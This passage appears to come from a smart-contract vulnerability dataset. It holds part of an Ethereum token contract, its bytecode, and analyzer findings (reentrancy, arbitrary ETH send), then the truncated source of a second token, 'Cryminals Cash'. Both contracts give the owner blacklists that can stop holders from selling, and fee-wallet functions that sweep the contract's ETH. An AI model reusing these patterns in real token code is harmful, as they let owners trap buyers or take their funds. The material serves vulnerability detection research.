function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address sniper) external onlyOwner {
_isSniper[sniper] = true;
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5e7 * 10**9);
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 1);
require(amountRefSell >= 0 && amountRefSell <= 1);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
require(amount >= 0 && amount <= 1);
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
require(amountRedisJeets >= 0 && amountRedisJeets <= 1);
require(amountTaxJeets >= 0 && amountTaxJeets <= 19);
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
require(hoursTime >= 0 && hoursTime <= 4);
timeJeets = hoursTime * 1 hours;
}
}
|
0x6080604052600436106102295760003560e01c8063715018a6116101235780639e78fb4f116100ab578063dd62ed3e1161006f578063dd62ed3e1461066f578063e0f9f6a0146106b5578063ea1644d5146106d5578063f2fde38b146106f5578063fe72c3c11461071557600080fd5b80639e78fb4f146105da5780639ec350ed146105ef5780639f1315711461060f578063a9059cbb1461062f578063c55284901461064f57600080fd5b8063881dce60116100f2578063881dce60146105355780638da5cb5b146105555780638f70ccf7146105735780638f9a55c01461059357806395d89b41146105a957600080fd5b8063715018a6146104d457806374010ece146104e9578063790ca413146105095780637d1db4a51461051f57600080fd5b806333251a0b116101b15780635d098b38116101755780635d098b38146104495780636b9cf534146104695780636d8aa8f81461047f5780636fc3eaec1461049f57806370a08231146104b457600080fd5b806333251a0b146103a757806338eea22d146103c95780633e3e9598146103e957806349bd5a5e146104095780634bf2c7c91461042957600080fd5b806318160ddd116101f857806318160ddd1461031a57806323b872dd1461033f57806327c8f8351461035f5780632fd689e314610375578063313ce5671461038b57600080fd5b806306fdde0314610235578063095ea7b3146102795780630f3a325f146102a95780631694505e146102e257600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5060408051808201909152600981526844656c74612050617960b81b60208201525b60405161027091906120a1565b60405180910390f35b34801561028557600080fd5b50610299610294366004612018565b61072b565b6040519015158152602001610270565b3480156102b557600080fd5b506102996102c4366004611f64565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102ee57600080fd5b50601954610302906001600160a01b031681565b6040516001600160a01b039091168152602001610270565b34801561032657600080fd5b50678ac7230489e800005b604051908152602001610270565b34801561034b57600080fd5b5061029961035a366004611fd7565b610742565b34801561036b57600080fd5b5061030261dead81565b34801561038157600080fd5b50610331601d5481565b34801561039757600080fd5b5060405160098152602001610270565b3480156103b357600080fd5b506103c76103c2366004611f64565b6107ab565b005b3480156103d557600080fd5b506103c76103e436600461207f565b610823565b3480156103f557600080fd5b506103c7610404366004611f64565b610874565b34801561041557600080fd5b50601a54610302906001600160a01b031681565b34801561043557600080fd5b506103c7610444366004612066565b6108c2565b34801561045557600080fd5b506103c7610464366004611f64565b6108ff565b34801561047557600080fd5b50610331601e5481565b34801561048b57600080fd5b506103c761049a366004612044565b610959565b3480156104ab57600080fd5b506103c76109a1565b3480156104c057600080fd5b506103316104cf366004611f64565b6109cb565b3480156104e057600080fd5b506103c76109ed565b3480156104f557600080fd5b506103c7610504366004612066565b610a61565b34801561051557600080fd5b50610331600a5481565b34801561052b57600080fd5b50610331601b5481565b34801561054157600080fd5b506103c7610550366004612066565b610aa4565b34801561056157600080fd5b506000546001600160a01b0316610302565b34801561057f57600080fd5b506103c761058e366004612044565b610b20565b34801561059f57600080fd5b50610331601c5481565b3480156105b557600080fd5b5060408051808201909152600881526744656c746150617960c01b6020820152610263565b3480156105e657600080fd5b506103c7610b6c565b3480156105fb57600080fd5b506103c761060a36600461207f565b610d51565b34801561061b57600080fd5b506103c761062a366004612044565b610da2565b34801561063b57600080fd5b5061029961064a366004612018565b610dea565b34801561065b57600080fd5b506103c761066a36600461207f565b610df7565b34801561067b57600080fd5b5061033161068a366004611f9e565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106c157600080fd5b506103c76106d0366004612066565b610e48565b3480156106e157600080fd5b506103c76106f0366004612066565b610e92565b34801561070157600080fd5b506103c7610710366004611f64565b610ed0565b34801561072157600080fd5b5061033160185481565b6000610738338484610fba565b5060015b92915050565b600061074f8484846110de565b6107a1843361079c85604051806060016040528060288152602001612275602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611805565b610fba565b5060019392505050565b6000546001600160a01b031633146107de5760405162461bcd60e51b81526004016107d5906120f6565b60405180910390fd5b6001600160a01b03811660009081526009602052604090205460ff1615610820576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b0316331461084d5760405162461bcd60e51b81526004016107d5906120f6565b600182111561085b57600080fd5b600181111561086957600080fd5b600d91909155600f55565b6000546001600160a01b0316331461089e5760405162461bcd60e51b81526004016107d5906120f6565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000546001600160a01b031633146108ec5760405162461bcd60e51b81526004016107d5906120f6565b60018111156108fa57600080fd5b601355565b6017546001600160a01b0316336001600160a01b03161461091f57600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109835760405162461bcd60e51b81526004016107d5906120f6565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b0316146109c157600080fd5b476108208161183f565b6001600160a01b03811660009081526002602052604081205461073c9061187d565b6000546001600160a01b03163314610a175760405162461bcd60e51b81526004016107d5906120f6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a8b5760405162461bcd60e51b81526004016107d5906120f6565b66b1a2bc2ec50000811015610a9f57600080fd5b601b55565b6017546001600160a01b0316336001600160a01b031614610ac457600080fd5b610acd306109cb565b8111158015610adc5750600081115b610b175760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107d5565b61082081611901565b6000546001600160a01b03163314610b4a5760405162461bcd60e51b81526004016107d5906120f6565b601a8054911515600160a01b0260ff60a01b1990921691909117905542600a55565b6000546001600160a01b03163314610b965760405162461bcd60e51b81526004016107d5906120f6565b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610bf657600080fd5b505afa158015610c0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c2e9190611f81565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7657600080fd5b505afa158015610c8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cae9190611f81565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610cf657600080fd5b505af1158015610d0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2e9190611f81565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610d7b5760405162461bcd60e51b81526004016107d5906120f6565b6001821115610d8957600080fd5b6013811115610d9757600080fd5b600b91909155600c55565b6000546001600160a01b03163314610dcc5760405162461bcd60e51b81526004016107d5906120f6565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b60006107383384846110de565b6000546001600160a01b03163314610e215760405162461bcd60e51b81526004016107d5906120f6565b600d821115610e2f57600080fd5b600d811115610e3d57600080fd5b600e91909155601055565b6000546001600160a01b03163314610e725760405162461bcd60e51b81526004016107d5906120f6565b6004811115610e8057600080fd5b610e8c81610e106121fd565b60185550565b6000546001600160a01b03163314610ebc5760405162461bcd60e51b81526004016107d5906120f6565b601c54811015610ecb57600080fd5b601c55565b6000546001600160a01b03163314610efa5760405162461bcd60e51b81526004016107d5906120f6565b6001600160a01b038116610f5f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107d5565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661101c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107d5565b6001600160a01b03821661107d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107d5565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111425760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107d5565b6001600160a01b0382166111a45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107d5565b600081116112065760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107d5565b6001600160a01b03821660009081526009602052604090205460ff161561123f5760405162461bcd60e51b81526004016107d59061212b565b6001600160a01b03831660009081526009602052604090205460ff16156112785760405162461bcd60e51b81526004016107d59061212b565b3360009081526009602052604090205460ff16156112a85760405162461bcd60e51b81526004016107d59061212b565b6000546001600160a01b038481169116148015906112d457506000546001600160a01b03838116911614155b1561164d57601a54600160a01b900460ff166113325760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107d5565b601a546001600160a01b03838116911614801561135d57506019546001600160a01b03848116911614155b1561140f576001600160a01b038216301480159061138457506001600160a01b0383163014155b801561139e57506017546001600160a01b03838116911614155b80156113b857506017546001600160a01b03848116911614155b1561140f57601b5481111561140f5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107d5565b601a546001600160a01b0383811691161480159061143b57506017546001600160a01b03838116911614155b801561145057506001600160a01b0382163014155b801561146757506001600160a01b03821661dead14155b1561154757601c5481611479846109cb565b61148391906121c3565b106114dc5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107d5565b601a54600160b81b900460ff161561154757600a546114fd906104b06121c3565b421161154757601e548111156115475760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b60448201526064016107d5565b6000611552306109cb565b601d5490915081118080156115715750601a54600160a81b900460ff16155b801561158b5750601a546001600160a01b03868116911614155b80156115a05750601a54600160b01b900460ff165b80156115c557506001600160a01b03851660009081526006602052604090205460ff16155b80156115ea57506001600160a01b03841660009081526006602052604090205460ff16155b1561164a57601354600090156116255761161a606461161460135486611a8a90919063ffffffff16565b90611b09565b905061162581611b4b565b611637611632828561221c565b611901565b478015611647576116474761183f565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061168f57506001600160a01b03831660009081526006602052604090205460ff165b806116c15750601a546001600160a01b038581169116148015906116c15750601a546001600160a01b03848116911614155b156116ce575060006117f3565b601a546001600160a01b0385811691161480156116f957506019546001600160a01b03848116911614155b15611754576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a541415611754576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b03848116911614801561177f57506019546001600160a01b03858116911614155b156117f3576001600160a01b038416600090815260046020526040902054158015906117d057506018546001600160a01b03851660009081526004602052604090205442916117cd916121c3565b10155b156117e657600b54601155600c546012556117f3565b600f546011556010546012555b6117ff84848484611b58565b50505050565b600081848411156118295760405162461bcd60e51b81526004016107d591906120a1565b506000611836848661221c565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611879573d6000803e3d6000fd5b5050565b60006007548211156118e45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107d5565b60006118ee611b8c565b90506118fa8382611b09565b9392505050565b601a805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061194957611949612249565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561199d57600080fd5b505afa1580156119b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119d59190611f81565b816001815181106119e8576119e8612249565b6001600160a01b039283166020918202929092010152601954611a0e9130911684610fba565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a47908590600090869030904290600401612152565b600060405180830381600087803b158015611a6157600080fd5b505af1158015611a75573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b600082611a995750600061073c565b6000611aa583856121fd565b905082611ab285836121db565b146118fa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107d5565b60006118fa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611baf565b6108203061dead836110de565b80611b6557611b65611bdd565b611b70848484611c22565b806117ff576117ff601454601155601554601255601654601355565b6000806000611b99611d19565b9092509050611ba88282611b09565b9250505090565b60008183611bd05760405162461bcd60e51b81526004016107d591906120a1565b50600061183684866121db565b601154158015611bed5750601254155b8015611bf95750601354155b15611c0057565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611c3487611d59565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611c669087611db6565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611c959086611df8565b6001600160a01b038916600090815260026020526040902055611cb781611e57565b611cc18483611ea1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611d0691815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611d348282611b09565b821015611d5057505060075492678ac7230489e8000092509050565b90939092509050565b6000806000806000806000806000611d768a601154601254611ec5565b9250925092506000611d86611b8c565b90506000806000611d998e878787611f14565b919e509c509a509598509396509194505050505091939550919395565b60006118fa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611805565b600080611e0583856121c3565b9050838110156118fa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107d5565b6000611e61611b8c565b90506000611e6f8383611a8a565b30600090815260026020526040902054909150611e8c9082611df8565b30600090815260026020526040902055505050565b600754611eae9083611db6565b600755600854611ebe9082611df8565b6008555050565b6000808080611ed960646116148989611a8a565b90506000611eec60646116148a89611a8a565b90506000611f0482611efe8b86611db6565b90611db6565b9992985090965090945050505050565b6000808080611f238886611a8a565b90506000611f318887611a8a565b90506000611f3f8888611a8a565b90506000611f5182611efe8686611db6565b939b939a50919850919650505050505050565b600060208284031215611f7657600080fd5b81356118fa8161225f565b600060208284031215611f9357600080fd5b81516118fa8161225f565b60008060408385031215611fb157600080fd5b8235611fbc8161225f565b91506020830135611fcc8161225f565b809150509250929050565b600080600060608486031215611fec57600080fd5b8335611ff78161225f565b925060208401356120078161225f565b929592945050506040919091013590565b6000806040838503121561202b57600080fd5b82356120368161225f565b946020939093013593505050565b60006020828403121561205657600080fd5b813580151581146118fa57600080fd5b60006020828403121561207857600080fd5b5035919050565b6000806040838503121561209257600080fd5b50508035926020909101359150565b600060208083528351808285015260005b818110156120ce578581018301518582016040015282016120b2565b818111156120e0576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156121a25784516001600160a01b03168352938301939183019160010161217d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156121d6576121d6612233565b500190565b6000826121f857634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561221757612217612233565b500290565b60008282101561222e5761222e612233565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461082057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220665aa868ed7c69ae2c497181708f5615c22b7f4ade376bbcb979add1eca8ba5f64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,321 |
0x197dbac1bb51b7e9d772ca8c830cffce4034a498
|
/**
*Submitted for verification at Etherscan.io on 2021-11-02
*/
/**
*Submitted for verification at Etherscan.io on 2021-10-17
*/
/*
Cryminals Cash!
t.me/cryminalstoken
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CASH is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
address payable private _feeAddrWallet1;
string private constant _name = "Cryminals Cash";
string private constant _symbol = "CASH";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x03103577B7665c12b367Db62e51966307b82F271);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 4;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1e9 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e9 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
